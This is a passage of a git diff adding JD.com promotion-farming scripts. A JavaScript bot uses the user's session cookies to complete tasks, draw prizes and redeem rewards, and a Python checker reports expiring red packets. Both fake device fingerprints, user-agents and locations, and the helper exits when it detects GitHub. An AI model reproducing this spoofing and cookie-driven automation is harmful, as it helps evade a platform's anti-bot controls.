'Cookie': cookie + } + } +} +//genToken +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: '&body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=73af724a6be5f3cb89bf934dfcde647f&st=1624887881842&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + // let body = `body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&lang=zh_CN&scope=11&sv=111` + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + // console.log(data, 'data') + $.isvToken = data['tokenKey'] + cookie += `IsvToken=${data['tokenKey']}` + // console.log($.isvToken) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取pin需要用到 +function getToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=ede16c356f954b5e48b259f94cf02e10&st=1624887883419&sv=120', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + $.token2 = data['token'] + // console.log($.token2) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + + +//抄的书店的 不过不加好像也能进去 +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("/dingzhi/qqxing/pasture/activity", `activityId=90121061401`), (err, resp, data) => { + updateCookie(resp) + // console.log(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // if ($.isNode()) + // for (let ck of resp['headers']['set-cookie']) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // else { + // for (let ck of resp['headers']['Set-Cookie'].split(',')) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getshopid() { + let config = taskPostUrl("/dz/common/getSimpleActInfoVo", "activityId=90121061401") + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.shopid = data.data.shopId + // console.log($.shopid) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getMyPin() { + let config = taskPostUrl("/customer/getMyPing", `userId=${$.shopid}&token=${encodeURIComponent($.token2)}&fromType=APP`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + // console.log($.pin) + $.nickname = data.data.nickname + // console.log(data) + console.log(`欢迎回来~ ${$.nickname}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adlog() { + let config = taskPostUrl("/common/accessLogWithAD", `venderId=1000361242&code=99&pin=${encodeURIComponent($.pin)}&activityId=90121061401&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fqqxing%2Fpasture%2Factivity%3FactivityId%3D90121061401%26lng%3D107.146945%26lat%3D33.255267%26sid%3Dcad74d1c843bd47422ae20cadf6fe5aw%26un_area%3D27_2442_2444_31912&subType=app&adSource=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + let config = taskPostUrl('/wxActionCommon/getUserInfo', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data) { + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } else { + $.cando = false + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUid() { + return new Promise(resolve => { + let body = `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg }&nick=${encodeURIComponent($.nick)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/activityContent', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if(data.data.openCardStatus !=3){ + console.log("当前未开卡,无法助力和兑换奖励哦") + } + // $.shareuuid = data.data.uid + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.shareuuid}\n`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取任务列表 +function getinfo() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/myInfo", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}`) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.taskList = data.data.task.filter(x => (x.maxNeed == 1 && x.curNum == 0) || x.taskid == "interact") + $.taskList2 = data.data.task.filter(x => x.maxNeed != 1 && x.type == 0) + $.draw = data.data.bags.filter(x => x.bagId == 'drawchance')[0] + $.food = data.data.bags.filter(x => x.bagId == 'food')[0] + $.sign = data.data.bags.filter(x => x.bagId == 'signDay')[0] + $.score = data.data.score + // console.log(data.data.task) + let helpinfo = data.data.task.filter(x => x.taskid == 'share2help')[0] + if (helpinfo) { + console.log(`今天已有${helpinfo.curNum}人为你助力啦`) + if (helpinfo.curNum == 20) { + $.needhelp = false + } + } + $.cow = `当前🐮🐮成长值:${$.score} 饲料:${$.food.totalNum-$.food.useNum} 抽奖次数:${$.draw.totalNum-$.draw.useNum} 签到天数:${$.sign.totalNum}` + $.foodNum = $.food.totalNum-$.food.useNum + console.log($.cow) + $.drawchance = $.draw.totalNum - $.draw.useNum + } else { + $.cando = false + // console.log(data) + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + + +// 获取浏览商品 +function getproduct() { + return new Promise(resolve => { + let body = `type=4&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.uuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/getproduct', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + if (data.data && data.data[0]) { + $.pparam = data.data[0].id + + $.vid = data.data[0].venderId + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获取浏览商品 +function writePersonInfo(vid) { + return new Promise(resolve => { + let body = `jdActivityId=1404370&pin=${encodeURIComponent($.pin)}&actionType=5&venderId=${vid}&activityId=90121061401` + + $.post(taskPostUrl('/interaction/write/writePersonInfo', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log("浏览:" + $.vid) + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//兑换商品 +function exchange(id) { + return new Promise(resolve => { + let body = `pid=${id}&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/exchange?_', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log() +if(data.result){ +console.log(`兑换 ${data.data.rewardName}成功`) +$.exchange += 20 +}else{ +console.log(JSON.stringify(data)) +} + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function dotask(taskId, params) { + let config = taskPostUrl("/dingzhi/qqxing/pasture/doTask", `taskId=${taskId}&${params?("param="+params+"&"):""}activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.shareuuid}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data.food) { + console.log("操作成功,获得饲料: " + data.data.food + " 抽奖机会:" + data.data.drawChance + " 成长值:" + data.data.growUp) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +function draw() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/luckydraw", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (Object.keys(data.data).length == 0) { + console.log("抽奖成功,恭喜你抽了个寂寞: ") + } else { + console.log(`恭喜你抽中 ${data.data.prize.rewardName}`) + $.drawresult += `恭喜你抽中 ${data.data.prize.rewardName} ` + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(url, body) { + const time = Date.now(); + // console.log(cookie) + return { + url: `https://lzdz-isv.isvjcloud.com${url}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + // 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin}`, + } + } +} + + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz-isv.isvjcloud.com${url}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin};`, + } + } +} + + + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_redpacketinfo.py b/jd_redpacketinfo.py new file mode 100644 index 0000000..6977243 --- /dev/null +++ b/jd_redpacketinfo.py @@ -0,0 +1,167 @@ +# -*- coding:utf-8 -*- +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat + + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + + + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + + + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def getnowtime(): + t=str(round(time.time() * 1000)) + return t + +def printf(text): + print(text) + sys.stdout.flush() + + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + print("加载通知服务失败~") + else: + send=False + print("加载通知服务失败~") +load_send() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + print('读取auth.json文件出错,跳过获取备注') + + +def checkday(timestamp):#判断时间戳是不是今天 + t1 = time.time() + t1_str = time.strftime("%Y-%m-%d", time.localtime(t1)) + t2_str = time.strftime("%Y-%m-%d", time.localtime(timestamp)) + if t1_str==t2_str: + return True + else: + return False + + + +def redpacketinfo(ck,name): + url='https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_='+getnowtime()+'&sceneval=2&g_login_type=1&g_ty=ls' + headers={ + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": ck, + 'User-Agent':UserAgent + } + jdamount=0 + jxamount=0 + jsamount=0 + try: + response=requests.get(url=url,headers=headers).json() + for i in range(len(response['data']['useRedInfo']['redList'])): + if checkday(response['data']['useRedInfo']['redList'][i]['endTime']):#先判断是不是今天过期 + if response['data']['useRedInfo']['redList'][i]['orgLimitStr'].find('京东')!=-1 and response['data']['useRedInfo']['redList'][i]['orgLimitStr'].find('极速版')==1: + jdamount+=float(response['data']['useRedInfo']['redList'][i]['balance']) + elif response['data']['useRedInfo']['redList'][i]['orgLimitStr'].find('京喜')!=-1: + jxamount+=float(response['data']['useRedInfo']['redList'][i]['balance']) + elif response['data']['useRedInfo']['redList'][i]['orgLimitStr'].find('极速')!=-1: + jsamount+=float(response['data']['useRedInfo']['redList'][i]['balance']) + printf('今天过期的红包总金额为'+response['data']['expiredBalance']+'元,其中') + printf('京东红包金额:'+str(jdamount)[0:5]+'元') + printf('京喜红包金额:'+str(jxamount)[0:5]+'元') + printf('极速红包金额:'+str(jsamount)[0:5]+'元\n') + if float(response['data']['expiredBalance'])>=expiredBalance: + send('京东红包过期通知','账号:'+name+'今天有'+response['data']['expiredBalance']+'元的红包即将过期\n即将过期的京东红包'+str(jdamount)[0:5]+'元\n即将过期的京喜红包'+str(jxamount)[0:5]+'元\n即将过期的极速红包'+str(jsamount)[0:5]+'元') + except: + printf('获取红包信息出错') + +if __name__ == '__main__': + remarkinfos={} + get_remarkinfo()#获取备注 + expiredBalance=5#默认过期金额超过5块发送通知 + try: + expiredBalance=float(os.environ['JDexpiredBalance']) + printf('当前设置过期通知金额为'+str(expiredBalance)+'元\n') + except: + printf('未读取到环境变量JDexpiredBalance,使用默认值5,当账户当天过期红包超过5块时会发送通知,如需自定义请设置export JDexpiredBalance=想要设置的数字(例如export JDexpiredBalance="10)"\n') + try: + cks = os.environ["JD_COOKIE"].split("&")#获取cookie + cks[::-1] + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = 